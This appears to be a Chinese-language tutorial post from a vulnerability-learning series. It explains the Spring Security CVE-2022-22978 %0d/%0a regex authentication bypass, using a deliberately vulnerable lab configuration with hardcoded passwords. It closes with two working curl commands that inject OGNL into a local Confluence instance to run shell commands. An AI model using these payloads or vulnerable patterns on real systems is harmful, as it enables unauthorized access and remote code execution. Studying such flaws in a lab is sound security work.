總有那麼一個人,在乎的不是你能飛多高,而是你是否累了想停下。
By 俗女養成記 (The Making of an Ordinary Woman), 2021
第12天了要接續我們的輕鬆系列漏洞,但是過了今天就要開始進入提權的世界惹,趕快保握最後的輕鬆系列吧,先來看看漏洞的相關資訊。
漏洞相關資訊
在網頁應用程式中身份的認證與授權算是相當重要的功能,認證功能代表辨識使用者身份,一般來說常見的方法是透過帳號密碼認證。而授權必須發生在認證之後,當知道使用者身份後,在依照當初設定給該身份的腳色,給予系統服務可執行的操作,稱之為授權。
Spring Security 就是透過 web filter 機制提供認證授權機制,而且本身還有基本的GUI可以使用。首先我們先來建個相關專案,但前置部分需要用 Day6 - Spring4Shell漏洞 (弱點專案檢視及建置篇)所建立的弱點專案進行疊床架屋。
步驟如下 :
<properties>
<java.version>1.9</java.version>
<spring-security.version>5.6.2</spring-security.version>
</properties>
<dependencies>
<!-- 前略 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
</dependencies>
package com.example.Spring4Shell;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
@Configuration
@EnableWebSecurity
@EnableGlobalMethodSecurity(prePostEnabled = true)
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests().regexMatchers("/.*")
.authenticated().and()
.formLogin().and()
.httpBasic();
}
@Override
protected void configure(AuthenticationManagerBuilder auth)
throws Exception {
auth //Builder Design Pattern
.inMemoryAuthentication() //自訂Runtime時的使用者帳號
.withUser("admin") //新增user
.password("{noop}admin12345") //指定密碼
.roles("ADMIN")
.and()
.withUser("user")
.password("{noop}user12345")
.roles("USER") ;
}
}
@RequestMapping({ "", "/*" })
public String test(User user) {
System.out.println("I am " + user.getUsername());
if(user.getUsergame()!=null) {
System.out.println("I have game " + user.getUsergame().getGamename());
}
return "ok";
}
其實這個弱點的原理在於,Java的正規表達式解析 . 這個符號代表著 Any character (may or may not match line terminators),但是預設情況下不包含所謂的 line terminators,也就是 \r 或是 \n,而該兩個符號在 URLEncode 的結果就是 %0d 跟 %0a。所以當URL一包含了 %0d 或是 %0a,Spring Security 用 "/.*" 比對就會不符合,因此直接繞過了認證部分。概念上是不是很簡單呢?
接著要討論一下這個漏洞的嚴重性,跟上個漏洞一樣高達9.8分,但是真的有這麼嚴重嗎? 回憶一下我們剛剛所描敘的,認證授權的關係,先有認證才有授權,所以當一個網站是透過 Spring Security 進行認證及授權的時候,這樣繞過 Spring Security 反而對我們就沒有好處,因為根本就取不到身份。反之如果一個網站認為只要通過Spring Security 就預設給予高權限的身份,就會被這個漏洞所影響。
如果想學習如何用 Java 程式進行驗證正規表達式的比對符號,也可以參考我之前的影片 (CVE-2022-22978) 簡單符號%0d%0a讓 Spring Security 不再 Spring Security!!!!!
Confluence 回家作業的回家作業解答 :
假如有個 htmlEncode 字樣出現很多次,我只想改第三個出現的,請問該如何使用 sed 去達成這個效果?
透過 sed -i '0,/要被取代字串/{s/要被取代字串/新的字串/}' 檔案名稱 可以取代第一個對應到的部份,所以要改變第三個的話可以先把目標改變成一個唯一的數值 aeifkz 做三次,然後再把aeifkz改回目標做兩次,就可以完美的第三個出現的目標了。
測試步驟如下 :
#跑三次
curl --head "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22sed%20-i%200,/htmlEncode/s/htmlEncode/aeifkz/g%20/opt/atlassian/confluence/confluence/500page.jsp%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
#跑兩次
curl --head "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22sed%20-i%200,/aeifkz/s/aeifkz/htmlEncode/g%20/opt/atlassian/confluence/confluence/500page.jsp%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
參考資料 :